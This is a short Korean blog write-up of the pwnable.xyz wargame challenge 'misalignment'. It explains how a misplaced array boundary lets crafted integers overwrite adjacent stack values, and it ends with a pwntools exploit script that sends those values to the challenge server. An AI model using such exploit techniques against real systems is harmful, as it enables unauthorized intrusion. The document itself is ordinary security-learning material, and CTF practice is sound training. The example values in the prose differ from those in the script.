Write up (Wargame)/Pwnable
[pwnable.xyz] misalignment 풀이
그믐
2022. 10. 31. 10:45
반응형
이번 문제는 misalignment인데,
드림핵 master_canary를 풀이하려다가 계속 이해가 안 돼서(아니 이게 왜 안됨?)
xyz를 풀기로 했다. 이것도 안되면 어쩔 수 없고..ㅠ
분석
쓰다보니 생각났는데 노션이나 다른게 더 이쁘다. 역시 티스토리는 이제 거를 때가 온다.
일단 보호기법은 다 걸려있다.
IDA에서는 win이라는 함수가 있고 이를 실행시켜야 하는 듯.
코드를 이해하려면 포인터 이해가 필요..!
경계를 잘못 지정해서
s[1]에 마지막 부분
0x0000000000000000
에서부터
s[2]
0x0000000000000000
까지 0xDEADBEEF 를 대입한다.
그렇게 대입이 되면
s[1] s[2] 순서로
0xEF00000000000000 0x0000000000DEADBE
이렇게 들어가있지 않을까.
풀이
그러면 s[1]에 0xB500000000000000 대입
s[2]에 0xB000000를 대입하자.
6521212260432478208 6521212260432478208 -6
92274688 92274688 -5
a(종료)
그냥 이대로 하면 된다.
근데 디버거 쓰지 말라고 했었는데..? 아몰랑 걍 한 말이겠지 뭐
from pwn import *
#p = process('./challenge')
p = remote('svc.pwnable.xyz', 30003)
payload = str(0x5A80000000000000) + ' ' + str(0x5A80000000000000) +' '+ str(-6)
p.sendline(payload)
p.recv()
payload = str(0x5800000) + ' ' + str(0x5800000) + ' ' + str('-5')
p.sendline(payload)
p.recv()
p.sendline('a')
print(p.recv())
반응형